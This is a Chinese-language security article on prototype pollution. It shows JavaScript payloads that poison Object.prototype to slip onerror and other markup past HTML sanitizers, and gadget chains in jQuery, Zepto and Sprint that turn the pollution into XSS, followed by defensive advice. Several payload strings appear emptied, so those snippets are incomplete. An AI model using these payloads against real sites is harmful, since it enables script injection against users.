Prototype Pollution扩展思考
字数 1183 2025-08-18 11:35:46
原型链污染(Prototype Pollution)扩展利用与防御研究
前言
原型链污染(Prototype Pollution)是一种JavaScript特有的安全漏洞,攻击者通过修改对象的原型属性,影响所有继承自该原型的对象,从而可能导致跨站脚本(XSS)等安全问题。本文深入探讨原型链污染的扩展利用方式,特别是如何利用它绕过HTML过滤器,以及如何通过流行的JavaScript库实现XSS攻击。
HTML过滤器绕过技术
过滤器工作原理
大多数HTML过滤器采用白名单机制,只允许特定的HTML标签和属性通过。过滤过程通常包括:
- 初始化过滤选项(设置白名单、回调函数等)
- 解析输入HTML
- 对比标签和属性与白名单
- 移除不在白名单中的内容
原型链污染攻击点
当存在原型链污染漏洞时,可以污染以下关键属性:
whiteList:修改允许的标签和属性css:禁用CSS过滤onTag:修改标签处理逻辑
具体攻击方法
攻击filterXSS类过滤器
// 污染whiteList添加危险属性
Object.prototype.whiteList = Object.prototype.whiteList || {};
Object.prototype.whiteList['img'] = ['src', 'onerror'];
// 或者直接关闭CSS过滤
Object.prototype.css = false;
攻击HtmlSanitizer
HtmlSanitizer使用以下白名单对象:
var tagWhitelist_ = { 'A': true, 'IMG': true, ... };
var attributeWhitelist_ = { 'src': true, 'href': true, ... };
var cssWhitelist_ = { 'color': true, ... };
攻击方式:
// 添加onerror属性到白名单
Object.prototype.attributeWhitelist_ = Object.prototype.attributeWhitelist_ || {};
Object.prototype.attributeWhitelist_['onerror'] = true;
防御措施
DOMPurify等现代过滤器已加入防御:
- 冻结(Freeze)配置对象防止修改
- 使用
Object.create(null)创建无原型的白名单对象 - 检查关键配置属性是否被意外继承
从原型链污染到XSS的利用链
jQuery利用链
攻击流程
- 污染
wrapMap对象添加恶意包装标签 - 当jQuery解析HTML时使用被污染的包装
- 触发XSS
攻击代码
// 污染wrapMap
Object.prototype.wrapMap = Object.prototype.wrapMap || {};
Object.prototype.wrapMap['malicious'] = [1, '', ''];
// 触发解析
$("<malicious>test</malicious>").appendTo("body");
关键代码分析
buildFragment函数中的关键部分:
tmp.innerHTML = wrap[1] + jQuery.htmlPrefilter(elem) + wrap[2];
通过污染wrapMap控制wrap[1]和wrap[2]的内容,插入恶意HTML。
Zepto利用链
攻击流程
- 污染对象添加事件处理器属性
- Zepto的
fragment函数处理属性时触发
攻击代码
Object.prototype.onerror = "alert(1)";
$("", {}).appendTo("body");
关键代码分析
zepto.fragment函数中的属性处理:
$.each(properties, function(key, value) {
if (methodAttributes.indexOf(key) > -1) nodes[key](value)
else nodes.attr(key, value)
})
会自动遍历原型链上的属性并设置。
Sprint利用链
攻击流程
类似jQuery,通过污染wrapMap实现攻击。
攻击代码
Object.prototype.wrapMap = {
malicious: {
intro: '',
outro: ''
}
};
关键代码分析
createDOM函数中的HTML拼接:
tmp.insertAdjacentHTML("afterbegin", inMap.intro + validHTML + inMap.outro);
防御建议
- 使用
Object.create(null)创建无原型的配置对象 - 冻结(Freeze)关键配置对象
- 对用户输入进行严格验证
- 使用现代HTML净化库并保持更新
- 避免不安全的对象合并操作
参考资源
- Client-Side Prototype Pollution
- Prototype Pollution and Bypassing Client-Side HTML Sanitizers
- DOMPurify防御措施
通过深入理解原型链污染的原理和利用方式,开发者可以更好地防御这类安全威胁,构建更安全的Web应用。